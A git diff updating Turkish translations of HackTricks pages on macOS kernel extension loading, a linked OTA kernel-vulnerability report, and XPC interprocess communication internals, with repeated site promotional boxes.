* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,62 +1,68 @@
# macOS Kernel Uzantıları
# macOS Kernel Extensions
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir ** **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi **HackTricks'te** görmek ister misiniz? **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family) 'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu
* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin
* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) 'u takip edin.
* **Hacking püf noktalarınızı göndererek PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
Kernel uzantıları (Kexts), ana işletim sistemine ek işlevsellik sağlayan **`.kext`** uzantılı **paketler** olan ve **doğrudan macOS çekirdek alanına yüklenen** bileşenlerdir.
Kernel uzantıları (Kexts), **macOS çekirdek alanına doğrudan yüklenen** ve ana işletim sistemine ek işlevsellik sağlayan **`.kext`** uzantısına sahip **paketlerdir**.
### Gereksinimler
Bu kadar güçlü olduğundan açıkça **bir çekirdek uzantısını yüklemek karmaşıktır**. Bir çekirdek uzantısının yüklenmesi gereken **gereksinimler** şunlardır:
ıkça, bu kadar güçlü olduğu için **bir kernel uzantısını yüklemek karmaşıktır**. Bir kernel uzantısının yüklenebilmesi için karşılaması gereken **gereksinimler** şunlardır:
* **kurtarma moduna** girerken, kernel **uzantılarının yüklenmesine izin verilmelidir**:
* **Kurtarma moduna girildiğinde**, çekirdek **uzantıların yüklenmesine izin verilmelidir**:
<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
* Çekirdek uzantısı, yalnızca **Apple** tarafından **verilebilen bir çekirdek kodu imzalama sertifikası ile imzalanmış olmalıdır**. Şirketi ve neden gerekli olduğunu detaylı olarak inceleyecek olan Apple.
* Çekirdek uzantısı ayrıca **notarized** olmalıdır, Apple tarafından kötü amaçlı yazılım açısından kontrol edilebilir.
* Ardından, **root** kullanıcısı, çekirdek uzantısını **yükleyebilen** ve paket içindeki dosyaların **root'a ait olması gereken** kişidir.
* Yükleme işlemi sırasında, paketin **korunan bir kök olmayan konumda hazırlanmış olması gerekir**: `/Library/StagedExtensions` (`com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir).
* Son olarak, yüklemeye çalışıldığında, kullanıcı [**bir onay isteği alacaktır**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) ve kabul edilirse, bilgisayarın yüklenmesi için **yeniden başlatılması gerekir**.
* Kernel uzantısı, yalnızca **Apple tarafından verilebilen** bir kernel kod imzalama sertifikası ile **imzalanmış olmalıdır**. Şirketi ve neden gerekli olduğunu detaylı bir şekilde inceleyecek olan kimdir.
* Kernel uzantısı ayrıca **notarize edilmelidir**, Apple bunu kötü amaçlı yazılım için kontrol edebilecektir.
* Ardından, **root** kullanıcısı **kernel uzantısını yükleyebilen** kişidir ve paket içindeki dosyalar **root'a ait olmalıdır**.
* Yükleme sürecinde, paket **korumalı bir kök olmayan konumda** hazırlanmalıdır: `/Library/StagedExtensions` (bu, `com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir).
* Son olarak, yüklemeye çalışırken, kullanıcı [**bir onay isteği alacaktır**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) ve kabul edilirse, bilgisayar **yeniden başlatılmalıdır**.
### Yükleme işlemi
### Yükleme süreci
Catalina'da böyleydi: **Doğrulama** işlemi **userland** 'da gerçekleşir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar, çekirdeğe bir uzantı yüklemesini **istemek** için **çekirdeğe başvurabilir**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
Catalina'da böyleydi: **doğrulama** sürecinin **kullanıcı alanında** gerçekleştiğini belirtmek ilginçtir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar **kernel'den bir uzantıyı yüklemesini isteyebilir**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli, bir uzantının yüklenmesi için **doğrulama** işlemini **başlatır**
* Bir **Mach hizmeti** kullanarak **`kextd`** ile iletişim kuracaktır.
2. **`kextd`**, **imza** gibi birçok şeyi kontrol edecektir.
* **`syspolicyd`** ile iletişim kurarak uzantının **yüklenip yüklenemeyeceğini kontrol edecektir**.
3. **`syspolicyd`**, uzantının daha önce yüklenmediyse **kullanıcıya bir onay isteği gönderecektir**.
* **`syspolicyd`**, sonucu **`kextd`** 'ye bildirecektir**
4. **`kextd`**, sonunda çekirdeğe uzantıyı yüklemesini **söyleyebilecektir**
1. **`kextutil`** cli **bir uzantıyı yüklemek için** **doğrulama** sürecini **başlatır**
* **`kextd`** ile **Mach servisi** kullanarak iletişim kuracaktır.
2. **`kextd`** birkaç şeyi kontrol edecektir, örneğin **imzayı**
* Uzantının **yüklenip yüklenemeyeceğini kontrol etmek için** **`syspolicyd`** ile iletişim kuracaktır.
3. **`syspolicyd`**, uzantı daha önce yüklenmemişse **kullanıcıya** **soracaktır**.
* **`syspolicyd`**, sonucu **`kextd`**'ye bildirecektir.
4. **`kextd`** nihayetinde **kernel'e uzantıyı yüklemesini söyleyebilecektir**.
**`kextd`** mevcut değilse, **`kextutil`** aynı kontrolleri yapabilir.
Eğer **`kextd`** mevcut değilse, **`kextutil`** aynı kontrolleri gerçekleştirebilir.
## Referanslar
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir ** **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi **HackTricks'te** görmek ister misiniz? **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family) 'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu
* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin
* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) 'u takip edin.
* **Hacking püf noktalarınızı göndererek PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# macOS Çekirdek Zafiyetleri
# macOS Kernel Vulnerabilities
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
* **Bir siber güvenlik şirketinde çalışıyor musunuz?** **Şirketinizi HackTricks'te duyurmak** ister misiniz? **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? **[ABONELİK PLANLARINI](https://github.com/sponsors/carlospolop)** kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan özel koleksiyonumuz
* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬 Discord grubuna](https://emojipedia.org/speech-balloon/) veya [telegram grubuna](https://t.me/peass) katılın veya** 🐦 **Twitter'da** [**@carlospolopm**](https://twitter.com/hacktricks\_live) **takip edin**.
* **Hacking hilelerinizi göndererek PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## [OTA'nın Ele Geçirilmesi](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
[**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) yazılım güncelleyicinin çekirdeği tehlikeye atarak çekirdeği ele geçirmeye izin veren birkaç zafiyetıklanmaktadır.\
[**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) yazılım güncelleyicisini tehlikeye atan çekirdek zafiyetleriıklanmaktadır.\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
* **Bir siber güvenlik şirketinde çalışıyor musunuz?** **Şirketinizi HackTricks'te duyurmak** ister misiniz? **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? **[ABONELİK PLANLARINI](https://github.com/sponsors/carlospolop)** kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan özel koleksiyonumuz
* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬 Discord grubuna](https://emojipedia.org/speech-balloon/) veya [telegram grubuna](https://t.me/peass) katılın veya** 🐦 **Twitter'da** [**@carlospolopm**](https://twitter.com/hacktricks\_live) **takip edin**.
* **Hacking hilelerinizi göndererek PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,49 +1,47 @@
# macOS XPC
## macOS XPC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a> <strong>ile!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Temel Bilgiler
## Temel Bilgiler
XPC, macOS ve iOS üzerindeki işlemler arası iletişim anlamına gelen XNU (macOS tarafından kullanılan çekirdek) İşlem İletişimi'nin kısaltmasıdır. XPC, sistemdeki farklı işlemler arasında **güvenli, asenkron yöntem çağrıları yapma** mekanizması sağlar. Bu, Apple'ın güvenlik paradigmasının bir parçası olup, her **bileşenin** yalnızca işini yapmak için gereken **izinlere sahip olduğu** ayrıcalıklı uygulamaların oluşturulmasına olanak tanır ve bu şekilde bir sürecin tehlikeye girmesinden kaynaklanabilecek potansiyel zararı sınırlar.
XPC, macOS tarafından kullanılan XNU (çekirdek) arasındaki İletişim için bir çerçevedir ve macOS ve iOS'ta **işlemler arası iletişim** sağlar. XPC, sistemdeki farklı işlemler arasında **güvenli, asenkron yöntem çağrıları yapma** mekanizması sunar. Bu, her bir **bileşenin** işini yapmak için **gereken izinlerle** çalıştığı **ayrılmış ayrıcalıklarla uygulamalar** oluşturulmasına olanak tanıyarak, tehlikeye atılmış bir işlemin potansiyel zararını sınırlamaktadır.
XPC, aynı sistemde çalışan farklı programların veri alışverişi yapabilmesi için kullanılan bir İşlem İletişimi (IPC) yöntemi kullanır.
XPC, aynı sistemde çalışan farklı programların veri göndermesi ve alması için bir dizi yöntem olan İşlemler Arası İletişim (IPC) biçimini kullanır.
XPC'nin temel faydaları şunlardır:
XPC'nin başlıca faydaları şunlardır:
1. **Güvenlik**: İşleri farklı süreçlere ayırarak, her sürece yalnızca ihtiyaç duyduğu izinler verilebilir. Bu, bir sürecin bile ele geçirilmiş olsa bile zarar verme yeteneğini sınırlar.
2. **Kararlılık**: XPC, çökmeleri oluştuğu bileşene izole eder. Bir süreç çöktüğünde, sistemdeki diğer bölümleri etkilemeden yeniden başlatılabilir.
3. **Performans**: XPC, farklı süreçlerde aynı anda farklı görevlerin çalıştırılmasına olanak tanır, bu nedenle kolay bir eşzamanlılık sağlar.
1. **Güvenlik**: Çalışmayı farklı işlemlere ayırarak, her bir işleme yalnızca ihtiyaç duyduğu izinler verilebilir. Bu, bir işlem tehlikeye atılsa bile, zarar verme yeteneğinin sınırlı olduğu anlamına gelir.
2. **Kararlılık**: XPC, çökme durumlarını meydana geldiği bileşene izole etmeye yardımcı olur. Bir işlem çökerse, sistemin geri kalanını etkilemeden yeniden başlatılabilir.
3. **Performans**: XPC, farklı görevlerin farklı işlemlerde aynı anda çalıştırılmasına olanak tanıyarak kolay bir eşzamanlılık sağlar.
Tek **dezavantaj**, bir uygulamayı birkaç sürece ayırarak bunları XPC aracılığıyla iletişim kurmalarını sağlamaktır ve bu daha az verimli olabilir. Ancak günümüz sistemlerinde bunun neredeyse fark edilmez olduğu ve faydaların daha iyi olduğu söylenebilir.
Tek **dezavantaj**, **bir uygulamayı birkaç işleme ayırmanın** ve bunların XPC aracılığıyla iletişim kurmasının **daha az verimli** olmasıdır. Ancak günümüz sistemlerinde bu neredeyse fark edilmez ve faydalar daha iyidir.
### Uygulama Özel XPC Hizmetleri
## Uygulama Özel XPC hizmetleri
Bir uygulamanın XPC bileşenleri, **uygulamanın kendisi içindedir**. Örneğin, Safari'de bunları **`/Applications/Safari.app/Contents/XPCServices`** dizininde bulabilirsiniz. Bunlar **`.xpc`** uzantısına sahiptir (örneğin **`com.apple.Safari.SandboxBroker.xpc`**) ve ana ikili dosyanın içinde de bir paket olarak bulunur: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` ve bir `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
Bir uygulamanın XPC bileşenleri **uygulamanın kendisinin içindedir.** Örneğin, Safari'de bunları **`/Applications/Safari.app/Contents/XPCServices`** dizininde bulabilirsiniz. **`.xpc`** uzantısına sahiptirler (örneğin **`com.apple.Safari.SandboxBroker.xpc`**) ve ana ikili dosya ile birlikte paketlenmiştir: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` ve bir `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
Bir XPC bileşeninin diğer XPC bileşenlerinden veya ana uygulama ikili dosyasından farklı yetkilendirmelere ve ayrıcalıklara sahip olacağını düşünebilirsiniz. ANCAK, bir XPC hizmeti, **Info.plist** dosyasındaki [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) ayarı "True" olarak yapılandırılmışsa, XPC hizmeti, onu çağıran uygulama ile **aynı güvenlik oturumunda** çalışır.
Bir **XPC bileşeninin diğer XPC bileşenlerinden veya ana uygulama ikili dosyasından farklı haklara ve ayrıcalıklara sahip olacağını** düşünebilirsiniz. **EXCEPT** bir XPC hizmeti, **Info.plist** dosyasında **JoinExistingSession** [**True**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) olarak ayarlandığında. Bu durumda, XPC hizmeti, onu çağıran uygulama ile **aynı güvenlik oturumunda** çalışacaktır.
XPC hizmetleri, gerektiğinde **launchd** tarafından **başlatılır** ve tüm görevler tamamlandığında sistem kaynaklarını serbest bırakmak için **kapatılır**. **Uygulama özel XPC bileşenleri yalnızca uygulama tarafından kullanılabilir**, bu da potansiyel güvenlik açıklarına ilişkin riski azaltır.
XPC hizmetleri, gerektiğinde **launchd** tarafından **başlatılır** ve tüm görevler **tamamlandığında** sistem kaynaklarını serbest bırakmak için **kapalı** tutulur. **Uygulama özel XPC bileşenleri yalnızca uygulama tarafından kullanılabilir**, böylece potansiyel güvenlik açıklarıyla ilişkili riski azaltır.
### Sistem Genelindeki XPC Hizmetleri
## Sistem Genelinde XPC hizmetleri
Sistem genelindeki XPC hizmetleri tüm kullanıcılara erişilebilir. Bu hizmetler, launchd veya Mach türünde olabilir ve **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** veya **`/Library/LaunchAgents`** gibi belirli dizinlerde bulunan plist dosyalarında **tanımlanması** gerekmektedir.
Bu plist dosyalarında, hizmetin adını içeren **`MachServices`** adında bir anahtar ve ikili dosyanın yolunu içeren **`Program`** adında bir anahtar bulunur:
Sistem genelindeki XPC hizmetleri tüm kullanıcılar tarafından erişilebilir. Bu hizmetler, ya launchd ya da Mach türünde olup, **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** veya **`/Library/LaunchAgents`** gibi belirli dizinlerde bulunan plist dosyalarında **tanımlanmalıdır**.
Bu plist dosyalarında, hizmetin adıyla birlikte **`MachServices`** adında bir anahtar ve ikili dosyanın yolunu içeren **`Program`** adında bir anahtar bulunacaktır:
```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
@ -77,33 +75,82 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
</dict>
</plist>
```
The ones in **`LaunchDameons`** root tarafından çalıştırılır. Yani, yetkisiz bir işlem bunlardan biriyle iletişim kurabiliyorsa, yetkileri artırma olanağına sahip olabilir.
**`LaunchDameons`** içindekiler root tarafından çalıştırılır. Bu nedenle, bir yetkisiz işlem bunlardan biriyle iletişim kurabilirse, ayrıcalıkları yükseltebilir.
## XPC Nesneleri
### XPC Olay Mesajları
* **`xpc_object_t`**
Uygulamalar, farklı olay mesajlarına **abone olabilir** ve böyle olaylar gerçekleştiğinde **istenildiği zaman başlatılabilir**. Bu hizmetlerin kurulumu, **önceki dosyalarla aynı dizinlerde bulunan** ve ek bir **`LaunchEvent`** anahtarını içeren **l**aunchd plist dosyalarında yapılır.
Her XPC mesajı, serileştirme ve serileştirmeyi basitleştiren bir sözlük nesnesidir. Ayrıca, `libxpc.dylib` çoğu veri türünü tanımlar, bu nedenle alınan verilerin beklenen türde olması sağlanabilir. C API'sinde her nesne bir `xpc_object_t`'dir (ve türü `xpc_get_type(object)` kullanılarak kontrol edilebilir).\
Ayrıca, `xpc_copy_description(object)` fonksiyonu, hata ayıklama amaçları için yararlı olabilecek nesnenin bir dize temsilini almak için kullanılabilir.\
Bu nesnelerin ayrıca `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize` gibi çağrılacak bazı yöntemleri vardır...
#### XPC Bağlantı Süreci Kontrolü
`xpc_object_t` nesneleri, `xpc_<objetType>_create` fonksiyonu çağrılarak oluşturulur; bu, içsel olarak `_xpc_base_create(Class, Size)` fonksiyonunu çağırır ve burada nesnenin sınıf türü (bir `XPC_TYPE_*` türü) ve boyutu belirtilir (metadata için ekstra 40B eklenir). Bu, nesnenin verilerinin 40B'lik bir ofsetten başlayacağı anlamına gelir.\
Bu nedenle, `xpc_<objectType>_t`, `xpc_object_t`'nin bir alt sınıfı gibi bir şeydir ve bu da `os_object_t*`'nin bir alt sınıfı olacaktır.
Bir işlem, bir XPC bağlantısı aracılığıyla bir yöntemi çağırmaya çalıştığında, **XPC hizmeti bu işlemin bağlanmasına izin verip vermediğini kontrol etmelidir**. İşte bunu kontrol etmek için yaygın kullanılan yöntemler ve yaygın hatalar:
{% hint style="warning" %}
Anahtarın türünü ve gerçek değerini almak veya ayarlamak için `xpc_dictionary_[get/set]_<objectType>` kullananın geliştirici olması gerektiğini unutmayın.
{% endhint %}
* **`xpc_pipe`**
Bir **`xpc_pipe`**, işlemlerin iletişim kurmak için kullanabileceği bir FIFO borusudur (iletişim Mach mesajlarını kullanır).\
Bir XPC sunucusu oluşturmak için `xpc_pipe_create()` veya belirli bir Mach portu kullanarak oluşturmak için `xpc_pipe_create_from_port()` çağrısı yapılabilir. Ardından, mesajları almak için `xpc_pipe_receive` ve `xpc_pipe_try_receive` çağrılabilir.
**`xpc_pipe`** nesnesinin, kullanılan iki Mach portu ve adı (varsa) hakkında bilgileri içeren bir **`xpc_object_t`** olduğunu unutmayın. Örneğin, plist'inde `/System/Library/LaunchDaemons/com.apple.secinitd.plist` bulunan `secinitd` daemon'u, `com.apple.secinitd` adında bir boru yapılandırır.
Bir **`xpc_pipe`** örneği, Mach portlarını paylaşmayı mümkün kılan **`launchd`** tarafından oluşturulan **bootstrap pipe**'dır.
* **`NSXPC*`**
Bunlar, XPC bağlantılarının soyutlanmasını sağlayan Objective-C yüksek seviyeli nesnelerdir.\
Ayrıca, bu nesneleri DTrace ile hata ayıklamak, önceki nesnelerden daha kolaydır.
* **`GCD Kuyrukları`**
XPC, mesajları iletmek için GCD kullanır, ayrıca `xpc.transactionq`, `xpc.io`, `xpc-events.add-listenerq`, `xpc.service-instance` gibi belirli dağıtım kuyrukları oluşturur...
## XPC Hizmetleri
Bunlar, diğer projelerin **`XPCServices`** klasöründe bulunan **`.xpc`** uzantılı paketlerdir ve `Info.plist` dosyasında `CFBundlePackageType` **`XPC!`** olarak ayarlanmıştır.\
Bu dosya, uygulama, kullanıcı, sistem veya bir sandbox tanımlayabilen `_SandboxProfile` gibi diğer yapılandırma anahtarlarına sahiptir veya hizmete erişmek için gerekli olan haklar veya kimlikleri belirtebilecek `_AllowedClients` anahtarına sahiptir. Bu ve diğer yapılandırma seçenekleri, hizmet başlatıldığında yapılandırmak için yararlı olacaktır.
### Bir Hizmeti Başlatma
Uygulama, `xpc_connection_create_mach_service` kullanarak bir XPC hizmetine **bağlanmaya** çalışır, ardından launchd daemon'u bulur ve **`xpcproxy`**'yi başlatır. **`xpcproxy`**, yapılandırılmış kısıtlamaları uygular ve sağlanan FD'ler ve Mach portları ile hizmeti başlatır.
XPC hizmetinin arama hızını artırmak için bir önbellek kullanılır.
`xpcproxy`'nin eylemlerini izlemek mümkündür:
```bash
supraudit S -C -o /tmp/output /dev/auditpipe
```
XPC kütüphanesi, `xpc_ktrace_pid0` ve `xpc_ktrace_pid1` çağrılarıyla eylemleri günlüğe kaydetmek için `kdebug` kullanır. Kullandığı kodlar belgelenmemiştir, bu nedenle bunları `/usr/share/misc/trace.codes` dosyasına eklemek gereklidir. `0x29` ön ekine sahiptirler ve örneğin biri `0x29000004`: `XPC_serializer_pack`'dır.\
